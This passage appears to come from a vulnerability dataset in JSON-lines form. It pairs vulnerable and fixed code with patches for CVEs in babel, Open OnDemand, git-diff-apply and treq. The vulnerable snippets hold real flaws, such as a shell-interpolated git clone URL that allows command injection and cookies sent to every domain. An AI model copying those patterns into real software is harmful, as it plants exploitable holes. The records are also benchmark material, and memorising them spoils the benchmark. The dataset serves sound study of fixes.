'%s.dat' % name)\n\n"}, {"id": "fix_py_331_4", "commit": "412015ef642bfcc0d8ba8f4d05cdbb6aac98d9b3", "file_path": "babel/localedata.py", "start_line": 27, "end_line": 27, "snippet": "_windows_reserved_name_re = re.compile(\"^(con|prn|aux|nul|com[0-9]|lpt[0-9])$\", re.I)"}], "vul_patch": "--- a/babel/localedata.py\n+++ b/babel/localedata.py\n@@ -9,5 +9,5 @@\n         return False\n     if name in _cache:\n         return True\n-    file_found = os.path.exists(os.path.join(_dirname, '%s.dat' % name))\n+    file_found = os.path.exists(resolve_locale_filename(name))\n     return True if file_found else bool(normalize_locale(name))\n\n--- a/babel/localedata.py\n+++ b/babel/localedata.py\n@@ -47,6 +47,7 @@\n     :raise `IOError`: if no locale data file is found for the given locale\n                       identifer, or one of the locales it inherits from\n     \"\"\"\n+    name = os.path.basename(name)\n     _cache_lock.acquire()\n     try:\n         data = _cache.get(name)\n@@ -64,7 +65,7 @@\n                     else:\n                         parent = '_'.join(parts[:-1])\n                 data = load(parent).copy()\n-            filename = os.path.join(_dirname, '%s.dat' % name)\n+            filename = resolve_locale_filename(name)\n             with open(filename, 'rb') as fileobj:\n                 if name != 'root' and merge_inherited:\n                     merge(data, pickle.load(fileobj))\n\n--- /dev/null\n+++ b/babel/localedata.py\n@@ -0,0 +1,15 @@\n+def resolve_locale_filename(name):\n+    \"\"\"\n+    Resolve a locale identifier to a `.dat` path on disk.\n+    \"\"\"\n+\n+    # Clean up any possible relative paths.\n+    name = os.path.basename(name)\n+\n+    # Ensure we're not left with one of the Windows reserved names.\n+    if sys.platform == \"win32\" and _windows_reserved_name_re.match(os.path.splitext(name)[0]):\n+        raise ValueError(\"Name %s is invalid on Windows\" % name)\n+\n+    # Build the path.\n+    return os.path.join(_dirname, '%s.dat' % name)\n+\n\n--- /dev/null\n+++ b/babel/localedata.py\n@@ -0,0 +1 @@\n+_windows_reserved_name_re = re.compile(\"^(con|prn|aux|nul|com[0-9]|lpt[0-9])$\", re.I)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-53636", "cve_description": "Open OnDemand is an open-source HPC portal. Users can flood logs by interacting with the shell app and generating many errors. Users who flood logs can create very large log files causing a Denial of Service (DoS) to the ondemand system. This vulnerability is fixed in 3.1.14 and 4.0.6.", "cwe_info": {"CWE-400": {"name": "Uncontrolled Resource Consumption", "description": "The product does not properly control the allocation and maintenance of a limited resource."}}, "repo": "https://github.com/OSC/ondemand", "patch_url": ["https://github.com/OSC/ondemand/commit/40800d68cd019c5f1c48b2deafebba6dff4abee2"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_303_1", "commit": "d9ce58518cf317c7ca5a96a529c97e0737315a57", "file_path": "apps/shell/app.js", "start_line": 145, "end_line": 210, "snippet": "wss.on('connection', function connection (ws, req) {\n  var dir,\n      term,\n      args,\n      host,\n      cmd = process.env.OOD_SSH_WRAPPER || 'ssh';\n  \n  ws.isAlive = true;\n  ws.startedAt = Date.now();\n  ws.lastActivity = Date.now();\n  \n  console.log('Connection established');\n\n  [host, dir] = host_and_dir_from_url(req.url);\n\n  // Verify authentication\n  token = req.url.match(/csrf=([^&]*)/)[1];\n  authError = detect_auth_error(token, req.origin, custom_server_origin(default_server_origin(req)), host);\n  if (authError) {\n    // 3146 has no meaning, any number between 3000-3999 is fair to use\n    ws.close(3146, authError);\n  } else {\n    args = dir ? [host, '-t', 'cd \\'' + dir.replace(/\\'/g, \"'\\\\''\") + '\\' ; exec ${SHELL} -l'] : [host];\n\n    process.env.LANG = 'en_US.UTF-8'; // this patch (from b996d36) lost when removing wetty (2c8a022)\n\n    term = pty.spawn(cmd, args, {\n      name: 'xterm-16color',\n      cols: 80,\n      rows: 30\n    });\n    \n\n    console.log('Opened terminal: ' + term.pid);\n\n    term.onData(function (data) {\n      ws.send(data, function (error) {\n        if (error) console.log('Send error: ' + error.message);\n      });\n      ws.lastActivity = Date.now();\n    });\n\n    term.onExit(function (_exitData) {\n      ws.close();\n    });\n\n    ws.on('message', function (msg) {\n      msg = JSON.parse(msg);\n      if (msg.input)  {\n        term.write(msg.input);\n        this.lastActivity = Date.now();\n      }\n      if (msg.resize) term.resize(parseInt(msg.resize.cols), parseInt(msg.resize.rows));\n    });\n\n    ws.on('close', function () {\n      term.end();\n      this.isAlive = false;\n      console.log('Closed terminal: ' + term.pid);\n    });\n\n    ws.on('pong', function () {\n      this.isAlive = true;\n    });\n  }\n});"}], "fix_func": [{"id": "fix_js_303_1", "commit": "40800d68cd019c5f1c48b2deafebba6dff4abee2", "file_path": "apps/shell/app.js", "start_line": 186, "end_line": 258, "snippet": "wss.on('connection', function connection (ws, req) {\n  var dir,\n      term,\n      args,\n      host,\n      cmd = process.env.OOD_SSH_WRAPPER || 'ssh';\n  \n  ws.isAlive = true;\n  ws.startedAt = Date.now();\n  ws.lastActivity = Date.now();\n  ws.logger = createLogger();\n\n  console.log('Connection established');\n\n  [host, dir] = host_and_dir_from_url(req.url);\n\n  // Verify authentication\n  token = req.url.match(/csrf=([^&]*)/)[1];\n  authError = detect_auth_error(token, req.origin, custom_server_origin(default_server_origin(req)), host);\n  if (authError) {\n    // 3146 has no meaning, any number between 3000-3999 is fair to use\n    ws.close(3146, authError);\n  } else {\n    args = dir ? [host, '-t', 'cd \\'' + dir.replace(/\\'/g, \"'\\\\''\") + '\\' ; exec ${SHELL} -l'] : [host];\n\n    process.env.LANG = 'en_US.UTF-8'; // this patch (from b996d36) lost when removing wetty (2c8a022)\n\n    term = pty.spawn(cmd, args, {\n      name: 'xterm-16color',\n      cols: 80,\n      rows: 30\n    });\n    \n\n    console.log('Opened terminal: ' + term.pid);\n\n    term.onData(function (data) {\n      ws.send(data, function (error) {\n        if(ws.readyState === WebSocket.CLOSED || ws.readyState === WebSocket.CLOSING) {\n          ws.logger.log('The websocket will not receive any more messages. Killing the terminal connection');\n          term.kill();\n        } else if (error) {\n          ws.logger.log('Send error: ' + error.message);\n        }\n      });\n      ws.lastActivity = Date.now();\n    });\n\n    term.onExit(function (_exitData) {\n      ws.close();\n    });\n\n    ws.on('message', function (msg) {\n      msg = JSON.parse(msg);\n      if (msg.input)  {\n        term.write(msg.input);\n        this.lastActivity = Date.now();\n      }\n      if (msg.resize) term.resize(parseInt(msg.resize.cols), parseInt(msg.resize.rows));\n    });\n\n    ws.on('close', function () {\n      term.end();\n      this.isAlive = false;\n      console.log('Closed terminal: ' + term.pid);\n      ws.logger.flush();\n    });\n\n    ws.on('pong', function () {\n      this.isAlive = true;\n    });\n  }\n});"}, {"id": "fix_js_303_2", "commit": "40800d68cd019c5f1c48b2deafebba6dff4abee2", "file_path": "apps/shell/app.js", "start_line": 146, "end_line": 185, "snippet": "function createLogger() {\n  // Combine logs for logInterval ms duration\n  const logInterval = 5000;\n  const messages = [];\n  let lastLog = 0;\n  let timer;\n\n  const logQueuedMessages = (immediate = false) => {\n    const now = Date.now();\n    clearTimeout(timer);\n    // Nothing logged since logInterval, log immediately\n    if (now - lastLog > logInterval || immediate) {\n      for (const { message, count } of messages) {\n        console.log(message);\n        if (count > 1) {\n          console.log(`Skipped ${count-1} previous duplicated messages`);\n        }\n      }\n      messages.length = 0;\n      lastLog = now;\n    } else if (messages.length > 0) {\n      // Log at most logInterval duration since current queue started\n      timer = setTimeout(logQueuedMessages, (lastLog + logInterval - now));\n    }\n  }\n\n  return {\n    log: (msg) => {\n      const lastMessage = messages.at(-1);\n      if (lastMessage && lastMessage.message == msg) {\n        lastMessage.count++;\n      } else {\n        messages.push({\"message\": msg, count: 1});\n      }\n      logQueuedMessages();\n    },\n    flush: () => logQueuedMessages(true),\n  };\n};\n"}], "vul_patch": "--- a/apps/shell/app.js\n+++ b/apps/shell/app.js\n@@ -8,7 +8,8 @@\n   ws.isAlive = true;\n   ws.startedAt = Date.now();\n   ws.lastActivity = Date.now();\n-  \n+  ws.logger = createLogger();\n+\n   console.log('Connection established');\n \n   [host, dir] = host_and_dir_from_url(req.url);\n@@ -35,7 +36,12 @@\n \n     term.onData(function (data) {\n       ws.send(data, function (error) {\n-        if (error) console.log('Send error: ' + error.message);\n+        if(ws.readyState === WebSocket.CLOSED || ws.readyState === WebSocket.CLOSING) {\n+          ws.logger.log('The websocket will not receive any more messages. Killing the terminal connection');\n+          term.kill();\n+        } else if (error) {\n+          ws.logger.log('Send error: ' + error.message);\n+        }\n       });\n       ws.lastActivity = Date.now();\n     });\n@@ -57,6 +63,7 @@\n       term.end();\n       this.isAlive = false;\n       console.log('Closed terminal: ' + term.pid);\n+      ws.logger.flush();\n     });\n \n     ws.on('pong', function () {\n\n--- /dev/null\n+++ b/apps/shell/app.js\n@@ -0,0 +1,39 @@\n+function createLogger() {\n+  // Combine logs for logInterval ms duration\n+  const logInterval = 5000;\n+  const messages = [];\n+  let lastLog = 0;\n+  let timer;\n+\n+  const logQueuedMessages = (immediate = false) => {\n+    const now = Date.now();\n+    clearTimeout(timer);\n+    // Nothing logged since logInterval, log immediately\n+    if (now - lastLog > logInterval || immediate) {\n+      for (const { message, count } of messages) {\n+        console.log(message);\n+        if (count > 1) {\n+          console.log(`Skipped ${count-1} previous duplicated messages`);\n+        }\n+      }\n+      messages.length = 0;\n+      lastLog = now;\n+    } else if (messages.length > 0) {\n+      // Log at most logInterval duration since current queue started\n+      timer = setTimeout(logQueuedMessages, (lastLog + logInterval - now));\n+    }\n+  }\n+\n+  return {\n+    log: (msg) => {\n+      const lastMessage = messages.at(-1);\n+      if (lastMessage && lastMessage.message == msg) {\n+        lastMessage.count++;\n+      } else {\n+        messages.push({\"message\": msg, count: 1});\n+      }\n+      logQueuedMessages();\n+    },\n+    flush: () => logQueuedMessages(true),\n+  };\n+};\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2019-10776", "cve_description": "In \"index.js\" file line 240, the run command executes the git command with a user controlled variable called remoteUrl. This affects git-diff-apply all versions prior to 0.22.2.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/kellyselden/git-diff-apply", "patch_url": ["https://github.com/kellyselden/git-diff-apply/commit/106d61d3ae723b4257c2a13e67b95eb40a27e0b5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_146_1", "commit": "bfcc903", "file_path": "src/index.js", "start_line": 19, "end_line": 20, "snippet": "const gitRemoveAll = require('./git-remove-all');\nconst createCustomRemote = require('./create-custom-remote');"}, {"id": "vul_js_146_2", "commit": "bfcc903", "file_path": "src/index.js", "start_line": 32, "end_line": 272, "snippet": "module.exports = async function gitDiffApply({\n  cwd = process.cwd(),\n  remoteUrl,\n  startTag,\n  endTag,\n  resolveConflicts: _resolveConflicts,\n  ignoredFiles = [],\n  reset,\n  init,\n  createCustomDiff,\n  startCommand,\n  endCommand\n}) {\n  let _tmpDir;\n  let tmpWorkingDir;\n\n  let hasConflicts;\n  let returnObject;\n\n  let isCodeUntracked;\n  let isCodeModified;\n\n  let root;\n\n  let err;\n\n  async function buildReturnObject() {\n    let from;\n\n    if (reset || init) {\n      from = {};\n    } else {\n      await checkOutTag(startTag, { cwd: _tmpDir });\n\n      from = convertToObj(_tmpDir, ignoredFiles);\n    }\n\n    await checkOutTag(endTag, { cwd: _tmpDir });\n\n    let to = convertToObj(_tmpDir, ignoredFiles);\n\n    return {\n      from,\n      to\n    };\n  }\n\n  async function namespaceRepoWithSubDir(subDir) {\n    let newTmpDir = await tmpDir();\n\n    await gitInit({ cwd: newTmpDir });\n\n    let newTmpSubDir = path.join(newTmpDir, subDir);\n\n    async function copyToSubDir(tag) {\n      await ensureDir(newTmpSubDir);\n\n      await checkOutTag(tag, { cwd: _tmpDir });\n\n      await utils.copy(_tmpDir, newTmpSubDir);\n\n      await commitAndTag(tag, { cwd: newTmpDir });\n    }\n\n    if (!(reset || init)) {\n      await copyToSubDir(startTag);\n\n      await gitRemoveAll({ cwd: newTmpDir });\n    }\n\n    await copyToSubDir(endTag);\n\n    _tmpDir = newTmpDir;\n    tmpWorkingDir = newTmpSubDir;\n  }\n\n  async function copy() {\n    await utils.copy(tmpWorkingDir, cwd);\n  }\n\n  async function resetIgnoredFiles(cwd) {\n    for (let ignoredFile of ignoredFiles) {\n      // An exist check is not good enough.\n      // `git checkout` will fail unless it is also tracked.\n      let isTracked = await utils.run(`git ls-files ${ignoredFile}`, { cwd });\n      if (isTracked) {\n        await utils.run(`git checkout -- ${ignoredFile}`, { cwd });\n      } else {\n        await fs.remove(path.join(cwd, ignoredFile));\n      }\n    }\n  }\n\n  async function createPatchFile() {\n    let patchFile = path.join(await tmpDir(), 'file.patch');\n    await utils.run(`git diff ${startTag} ${endTag} --binary > ${patchFile}`, { cwd: _tmpDir });\n    if (await fs.readFile(patchFile, 'utf8') !== '') {\n      return patchFile;\n    }\n  }\n\n  async function applyPatch(patchFile) {\n    // --whitespace=fix seems to prevent any unnecessary conflicts with line endings\n    // https://stackoverflow.com/questions/6308625/how-to-avoid-git-apply-changing-line-endings#comment54419617_11189296\n    await utils.run(`git apply --whitespace=fix ${patchFile}`, { cwd: _tmpDir });\n  }\n\n  async function go() {\n    if (reset || init) {\n      await checkOutTag(endTag, { cwd: _tmpDir });\n\n      isCodeUntracked = true;\n      isCodeModified = true;\n      if (reset) {\n        await utils.gitRemoveAll({ cwd: root });\n      }\n\n      await copy();\n\n      await utils.run('git reset', { cwd });\n\n      await resetIgnoredFiles(cwd);\n\n      return;\n    }\n\n    await checkOutTag(startTag, { cwd: _tmpDir });\n\n    await utils.run(`git branch ${tempBranchName}`, { cwd: _tmpDir });\n    await utils.run(`git checkout ${tempBranchName}`, { cwd: _tmpDir });\n\n    let patchFile = await createPatchFile();\n    if (!patchFile) {\n      return;\n    }\n\n    await applyPatch(patchFile);\n\n    await resetIgnoredFiles(tmpWorkingDir);\n\n    let wereAnyChanged = !await isGitClean({ cwd: _tmpDir });\n\n    if (wereAnyChanged) {\n      await commit({ cwd: _tmpDir });\n\n      let sha = await utils.run('git rev-parse HEAD', { cwd: _tmpDir });\n\n      await utils.run(`git remote add ${tempBranchName} ${_tmpDir}`, { cwd });\n      await utils.run(`git fetch --no-tags ${tempBranchName}`, { cwd });\n\n      try {\n        await utils.run(`git cherry-pick --no-commit ${sha.trim()}`, { cwd });\n      } catch (err) {\n        hasConflicts = true;\n      }\n\n      await utils.run(`git remote remove ${tempBranchName}`, { cwd });\n    }\n  }\n\n  try {\n    if (startTag === endTag && !(reset || init)) {\n      throw 'Tags match, nothing to apply';\n    }\n\n    let isClean;\n\n    try {\n      isClean = await isGitClean({ cwd });\n    } catch (err) {\n      throw 'Not a git repository';\n    }\n\n    if (!isClean) {\n      throw 'You must start with a clean working directory';\n    }\n\n    if (createCustomDiff) {\n      let tmpPath = await createCustomRemote({\n        startCommand,\n        endCommand,\n        startTag,\n        endTag,\n        reset,\n        init\n      });\n\n      remoteUrl = tmpPath;\n    }\n\n    _tmpDir = await tmpDir();\n    tmpWorkingDir = _tmpDir;\n\n    await utils.run(`git clone ${remoteUrl} ${_tmpDir}`);\n\n    // needed because we are going to be committing in here\n    await gitConfigInit({ cwd: _tmpDir });\n\n    returnObject = await buildReturnObject();\n\n    root = await getRootDir({ cwd });\n    let subDir = await getSubDir({ cwd });\n    if (subDir) {\n      debug('subDir', subDir);\n\n      await namespaceRepoWithSubDir(subDir);\n    }\n\n    await go();\n\n    debug('success');\n  } catch (_err) {\n    err = _err;\n\n    try {\n      if (isCodeUntracked) {\n        await utils.run('git clean -f', { cwd });\n      }\n      if (isCodeModified) {\n        await utils.run('git reset --hard', { cwd });\n      }\n    } catch (err2) {\n      throw {\n        err,\n        err2\n      };\n    }\n  }\n\n  if (err) {\n    debug('failure');\n\n    throw err;\n  }\n\n  if (hasConflicts && _resolveConflicts) {\n    returnObject.resolveConflictsProcess = resolveConflicts({ cwd });\n  }\n\n  return returnObject;\n};"}], "fix_func": [{"id": "fix_js_146_1", "commit": "106d61d", "file_path": "src/index.js", "start_line": 19, "end_line": 21, "snippet": "const gitRemoveAll = require('./git-remove-all');\nconst createCustomRemote = require('./create-custom-remote');\nconst { runWithSpawn } = require('./run');"}, {"id": "fix_js_146_2", "commit": "106d61d", "file_path": "src/index.js", "start_line": 33, "end_line": 273, "snippet": "module.exports = async function gitDiffApply({\n  cwd = process.cwd(),\n  remoteUrl,\n  startTag,\n  endTag,\n  resolveConflicts: _resolveConflicts,\n  ignoredFiles = [],\n  reset,\n  init,\n  createCustomDiff,\n  startCommand,\n  endCommand\n}) {\n  let _tmpDir;\n  let tmpWorkingDir;\n\n  let hasConflicts;\n  let returnObject;\n\n  let isCodeUntracked;\n  let isCodeModified;\n\n  let root;\n\n  let err;\n\n  async function buildReturnObject() {\n    let from;\n\n    if (reset || init) {\n      from = {};\n    } else {\n      await checkOutTag(startTag, { cwd: _tmpDir });\n\n      from = convertToObj(_tmpDir, ignoredFiles);\n    }\n\n    await checkOutTag(endTag, { cwd: _tmpDir });\n\n    let to = convertToObj(_tmpDir, ignoredFiles);\n\n    return {\n      from,\n      to\n    };\n  }\n\n  async function namespaceRepoWithSubDir(subDir) {\n    let newTmpDir = await tmpDir();\n\n    await gitInit({ cwd: newTmpDir });\n\n    let newTmpSubDir = path.join(newTmpDir, subDir);\n\n    async function copyToSubDir(tag) {\n      await ensureDir(newTmpSubDir);\n\n      await checkOutTag(tag, { cwd: _tmpDir });\n\n      await utils.copy(_tmpDir, newTmpSubDir);\n\n      await commitAndTag(tag, { cwd: newTmpDir });\n    }\n\n    if (!(reset || init)) {\n      await copyToSubDir(startTag);\n\n      await gitRemoveAll({ cwd: newTmpDir });\n    }\n\n    await copyToSubDir(endTag);\n\n    _tmpDir = newTmpDir;\n    tmpWorkingDir = newTmpSubDir;\n  }\n\n  async function copy() {\n    await utils.copy(tmpWorkingDir, cwd);\n  }\n\n  async function resetIgnoredFiles(cwd) {\n    for (let ignoredFile of ignoredFiles) {\n      // An exist check is not good enough.\n      // `git checkout` will fail unless it is also tracked.\n      let isTracked = await utils.run(`git ls-files ${ignoredFile}`, { cwd });\n      if (isTracked) {\n        await utils.run(`git checkout -- ${ignoredFile}`, { cwd });\n      } else {\n        await fs.remove(path.join(cwd, ignoredFile));\n      }\n    }\n  }\n\n  async function createPatchFile() {\n    let patchFile = path.join(await tmpDir(), 'file.patch');\n    await utils.run(`git diff ${startTag} ${endTag} --binary > ${patchFile}`, { cwd: _tmpDir });\n    if (await fs.readFile(patchFile, 'utf8') !== '') {\n      return patchFile;\n    }\n  }\n\n  async function applyPatch(patchFile) {\n    // --whitespace=fix seems to prevent any unnecessary conflicts with line endings\n    // https://stackoverflow.com/questions/6308625/how-to-avoid-git-apply-changing-line-endings#comment54419617_11189296\n    await utils.run(`git apply --whitespace=fix ${patchFile}`, { cwd: _tmpDir });\n  }\n\n  async function go() {\n    if (reset || init) {\n      await checkOutTag(endTag, { cwd: _tmpDir });\n\n      isCodeUntracked = true;\n      isCodeModified = true;\n      if (reset) {\n        await utils.gitRemoveAll({ cwd: root });\n      }\n\n      await copy();\n\n      await utils.run('git reset', { cwd });\n\n      await resetIgnoredFiles(cwd);\n\n      return;\n    }\n\n    await checkOutTag(startTag, { cwd: _tmpDir });\n\n    await utils.run(`git branch ${tempBranchName}`, { cwd: _tmpDir });\n    await utils.run(`git checkout ${tempBranchName}`, { cwd: _tmpDir });\n\n    let patchFile = await createPatchFile();\n    if (!patchFile) {\n      return;\n    }\n\n    await applyPatch(patchFile);\n\n    await resetIgnoredFiles(tmpWorkingDir);\n\n    let wereAnyChanged = !await isGitClean({ cwd: _tmpDir });\n\n    if (wereAnyChanged) {\n      await commit({ cwd: _tmpDir });\n\n      let sha = await utils.run('git rev-parse HEAD', { cwd: _tmpDir });\n\n      await utils.run(`git remote add ${tempBranchName} ${_tmpDir}`, { cwd });\n      await utils.run(`git fetch --no-tags ${tempBranchName}`, { cwd });\n\n      try {\n        await utils.run(`git cherry-pick --no-commit ${sha.trim()}`, { cwd });\n      } catch (err) {\n        hasConflicts = true;\n      }\n\n      await utils.run(`git remote remove ${tempBranchName}`, { cwd });\n    }\n  }\n\n  try {\n    if (startTag === endTag && !(reset || init)) {\n      throw 'Tags match, nothing to apply';\n    }\n\n    let isClean;\n\n    try {\n      isClean = await isGitClean({ cwd });\n    } catch (err) {\n      throw 'Not a git repository';\n    }\n\n    if (!isClean) {\n      throw 'You must start with a clean working directory';\n    }\n\n    if (createCustomDiff) {\n      let tmpPath = await createCustomRemote({\n        startCommand,\n        endCommand,\n        startTag,\n        endTag,\n        reset,\n        init\n      });\n\n      remoteUrl = tmpPath;\n    }\n\n    _tmpDir = await tmpDir();\n    tmpWorkingDir = _tmpDir;\n\n    await runWithSpawn('git', ['clone', remoteUrl, _tmpDir]);\n\n    // needed because we are going to be committing in here\n    await gitConfigInit({ cwd: _tmpDir });\n\n    returnObject = await buildReturnObject();\n\n    root = await getRootDir({ cwd });\n    let subDir = await getSubDir({ cwd });\n    if (subDir) {\n      debug('subDir', subDir);\n\n      await namespaceRepoWithSubDir(subDir);\n    }\n\n    await go();\n\n    debug('success');\n  } catch (_err) {\n    err = _err;\n\n    try {\n      if (isCodeUntracked) {\n        await utils.run('git clean -f', { cwd });\n      }\n      if (isCodeModified) {\n        await utils.run('git reset --hard', { cwd });\n      }\n    } catch (err2) {\n      throw {\n        err,\n        err2\n      };\n    }\n  }\n\n  if (err) {\n    debug('failure');\n\n    throw err;\n  }\n\n  if (hasConflicts && _resolveConflicts) {\n    returnObject.resolveConflictsProcess = resolveConflicts({ cwd });\n  }\n\n  return returnObject;\n};"}], "vul_patch": "--- a/src/index.js\n+++ b/src/index.js\n@@ -1,2 +1,3 @@\n const gitRemoveAll = require('./git-remove-all');\n const createCustomRemote = require('./create-custom-remote');\n+const { runWithSpawn } = require('./run');\n\n--- a/src/index.js\n+++ b/src/index.js\n@@ -191,7 +191,7 @@\n     _tmpDir = await tmpDir();\n     tmpWorkingDir = _tmpDir;\n \n-    await utils.run(`git clone ${remoteUrl} ${_tmpDir}`);\n+    await runWithSpawn('git', ['clone', remoteUrl, _tmpDir]);\n \n     // needed because we are going to be committing in here\n     await gitConfigInit({ cwd: _tmpDir });\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23607", "cve_description": "treq is an HTTP library inspired by requests but written on top of Twisted's Agents. Treq's request methods (`treq.get`, `treq.post`, etc.) and `treq.client.HTTPClient` constructor accept cookies as a dictionary. Such cookies are not bound to a single domain, and are therefore sent to *every* domain (\"supercookies\"). This can potentially cause sensitive information to leak upon an HTTP redirect to a different domain., e.g. should `https://example.com` redirect to `http://cloudstorageprovider.com` the latter will receive the cookie `session`. Treq 2021.1.0 and later bind cookies given to request methods (`treq.request`, `treq.get`, `HTTPClient.request`, `HTTPClient.get`, etc.) to the origin of the *url* parameter. Users are advised to upgrade. For users unable to upgrade Instead of passing a dictionary as the *cookies* argument, pass a `http.cookiejar.CookieJar` instance with properly domain- and scheme-scoped cookies in it.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/twisted/treq", "patch_url": ["https://github.com/twisted/treq/commit/1da6022cc880bbcff59321abe02bf8498b89efb2"], "programing_language": "Python", "vul_func": [{"id": "vul_py_178_1", "commit": "d89d553", "file_path": "src/treq/client.py", "start_line": 98, "end_line": 102, "snippet": "    def __init__(self, agent, cookiejar=None,\n                 data_to_body_producer=IBodyProducer):\n        self._agent = agent\n        self._cookiejar = cookiejar or cookiejar_from_dict({})\n        self._data_to_body_producer = data_to_body_producer"}, {"id": "vul_py_178_2", "commit": "d89d553", "file_path": "src/treq/client.py", "start_line": 146, "end_line": 234, "snippet": "    def request(\n        self,\n        method,\n        url,\n        *,\n        params=None,\n        headers=None,\n        data=None,\n        files=None,\n        json=_NOTHING,\n        auth=None,\n        cookies=None,\n        allow_redirects=True,\n        browser_like_redirects=False,\n        unbuffered=False,\n        reactor=None,\n        timeout=None,\n        _stacklevel=2,\n    ):\n        \"\"\"\n        See :func:`treq.request()`.\n        \"\"\"\n        method = method.encode('ascii').upper()\n\n        if isinstance(url, DecodedURL):\n            parsed_url = url.encoded_url\n        elif isinstance(url, EncodedURL):\n            parsed_url = url\n        elif isinstance(url, str):\n            # We use hyperlink in lazy mode so that users can pass arbitrary\n            # bytes in the path and querystring.\n            parsed_url = EncodedURL.from_text(url)\n        else:\n            parsed_url = EncodedURL.from_text(url.decode('ascii'))\n\n        # Join parameters provided in the URL\n        # and the ones passed as argument.\n        if params:\n            parsed_url = parsed_url.replace(\n                query=parsed_url.query + tuple(_coerced_query_params(params))\n            )\n\n        url = parsed_url.to_uri().to_text().encode('ascii')\n\n        headers = self._request_headers(headers, _stacklevel + 1)\n\n        bodyProducer, contentType = self._request_body(data, files, json,\n                                                       stacklevel=_stacklevel + 1)\n        if contentType is not None:\n            headers.setRawHeaders(b'Content-Type', [contentType])\n\n        if not isinstance(cookies, CookieJar):\n            cookies = cookiejar_from_dict(cookies)\n\n        cookies = merge_cookies(self._cookiejar, cookies)\n        wrapped_agent = CookieAgent(self._agent, cookies)\n\n        if allow_redirects:\n            if browser_like_redirects:\n                wrapped_agent = BrowserLikeRedirectAgent(wrapped_agent)\n            else:\n                wrapped_agent = RedirectAgent(wrapped_agent)\n\n        wrapped_agent = ContentDecoderAgent(wrapped_agent,\n                                            [(b'gzip', GzipDecoder)])\n\n        if auth:\n            wrapped_agent = add_auth(wrapped_agent, auth)\n\n        d = wrapped_agent.request(\n            method, url, headers=headers,\n            bodyProducer=bodyProducer)\n\n        if reactor is None:\n            from twisted.internet import reactor\n        if timeout:\n            delayedCall = reactor.callLater(timeout, d.cancel)\n\n            def gotResult(result):\n                if delayedCall.active():\n                    delayedCall.cancel()\n                return result\n\n            d.addBoth(gotResult)\n\n        if not unbuffered:\n            d.addCallback(_BufferedResponse)\n\n        return d.addCallback(_Response, cookies)"}], "fix_func": [{"id": "fix_py_178_1", "commit": "1da6022", "file_path": "src/treq/client.py", "start_line": 148, "end_line": 154, "snippet": "    def __init__(self, agent, cookiejar=None,\n                 data_to_body_producer=IBodyProducer):\n        self._agent = agent\n        if cookiejar is None:\n            cookiejar = CookieJar()\n        self._cookiejar = cookiejar\n        self._data_to_body_producer = data_to_body_producer"}, {"id": "fix_py_178_2", "commit": "1da6022", "file_path": "src/treq/client.py", "start_line": 198, "end_line": 286, "snippet": "    def request(\n        self,\n        method,\n        url,\n        *,\n        params=None,\n        headers=None,\n        data=None,\n        files=None,\n        json=_NOTHING,\n        auth=None,\n        cookies=None,\n        allow_redirects=True,\n        browser_like_redirects=False,\n        unbuffered=False,\n        reactor=None,\n        timeout=None,\n        _stacklevel=2,\n    ):\n        \"\"\"\n        See :func:`treq.request()`.\n        \"\"\"\n        method = method.encode('ascii').upper()\n\n        if isinstance(url, DecodedURL):\n            parsed_url = url.encoded_url\n        elif isinstance(url, EncodedURL):\n            parsed_url = url\n        elif isinstance(url, str):\n            # We use hyperlink in lazy mode so that users can pass arbitrary\n            # bytes in the path and querystring.\n            parsed_url = EncodedURL.from_text(url)\n        else:\n            parsed_url = EncodedURL.from_text(url.decode('ascii'))\n\n        # Join parameters provided in the URL\n        # and the ones passed as argument.\n        if params:\n            parsed_url = parsed_url.replace(\n                query=parsed_url.query + tuple(_coerced_query_params(params))\n            )\n\n        url = parsed_url.to_uri().to_text().encode('ascii')\n\n        headers = self._request_headers(headers, _stacklevel + 1)\n\n        bodyProducer, contentType = self._request_body(data, files, json,\n                                                       stacklevel=_stacklevel + 1)\n        if contentType is not None:\n            headers.setRawHeaders(b'Content-Type', [contentType])\n\n        if not isinstance(cookies, CookieJar):\n            cookies = _scoped_cookiejar_from_dict(parsed_url, cookies)\n\n        cookies = merge_cookies(self._cookiejar, cookies)\n        wrapped_agent = CookieAgent(self._agent, cookies)\n\n        if allow_redirects:\n            if browser_like_redirects:\n                wrapped_agent = BrowserLikeRedirectAgent(wrapped_agent)\n            else:\n                wrapped_agent = RedirectAgent(wrapped_agent)\n\n        wrapped_agent = ContentDecoderAgent(wrapped_agent,\n                                            [(b'gzip', GzipDecoder)])\n\n        if auth:\n            wrapped_agent = add_auth(wrapped_agent, auth)\n\n        d = wrapped_agent.request(\n            method, url, headers=headers,\n            bodyProducer=bodyProducer)\n\n        if reactor is None:\n            from twisted.internet import reactor\n        if timeout:\n            delayedCall = reactor.callLater(timeout, d.cancel)\n\n            def gotResult(result):\n                if delayedCall.active():\n                    delayedCall.cancel()\n                return result\n\n            d.addBoth(gotResult)\n\n        if not unbuffered:\n            d.addCallback(_BufferedResponse)\n\n        return d.addCallback(_Response, cookies)"}, {"id": "fix_py_178_3", "commit": "1da6022", "file_path": "src/treq/client.py", "start_line": 46, "end_line": 93, "snippet": "def _scoped_cookiejar_from_dict(url_object, cookie_dict):\n    \"\"\"\n    Create a CookieJar from a dictionary whose cookies are all scoped to the\n    given URL's origin.\n\n    @note: This does not scope the cookies to any particular path, only the\n        host, port, and scheme of the given 